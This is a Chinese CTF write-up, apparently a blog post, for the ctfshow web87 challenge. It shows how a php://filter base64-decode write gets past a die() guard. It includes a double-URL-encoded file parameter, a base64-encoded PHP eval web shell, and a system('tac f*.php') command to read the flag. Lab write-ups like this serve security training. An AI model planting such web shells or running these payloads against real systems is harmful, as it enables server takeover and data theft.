ctfshow web入门 web87

目录

源代码:

做题思路:

做题方法:

做题步骤:


源代码:
做题思路:
  • 知识点补充:
  1. urldecode函数:url解码函数,用于将经过URL编码的字符串转换回其原始格式
  2. die函数:终止程序
  3. base64编码:base64编码的范围为0~9,a~z,A~Z,+,/   其他的字符全部过滤,故本题可以使用base64编码进行绕过die函数
  4. 注意:base64编码必须为4的倍数,由于base64编码范围的原因<?php die('大佬别秀了');?>会被过滤为phpdie为6个,需要加上任意2个在base64范围内的字符即可
  • 代码审计:源码中有2个参数,分别是GET传参的file与POST方式传参
  1. POST传参:变量content与die函数用点相连接可以使用base64编码进行绕过,以防终止程序
  2.   GER传参:file有urldecode函数(url解码函数),故需要将file进行2次url编码
做题方法:

     使用php://filter/writer协议

做题步骤:
  1. 构造GET传参的payload:?file=php://filter/write=convert.base64-decode/resource=0421.php   并且使用bp进行两次url编码原payload:?file=php://filter/write=convert.base64-decode/resource=0421.php
    双重加密后的payload:?
    file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%30%25%33%34%25%33%32%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
  2. .构造POST的payload并base64加密,且在加密后前面加2个任意在base64范围内的字符

    content=<?php @eval($_POST[y]);?>

    ontent=PD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==

    content=aaPD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==

  3. 访问0421.php,并且使用post进行传参,因为上面的post传的参数是y,所以post的payload是:y=system('tac f*.php');   即可拿到flag

  • 33
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值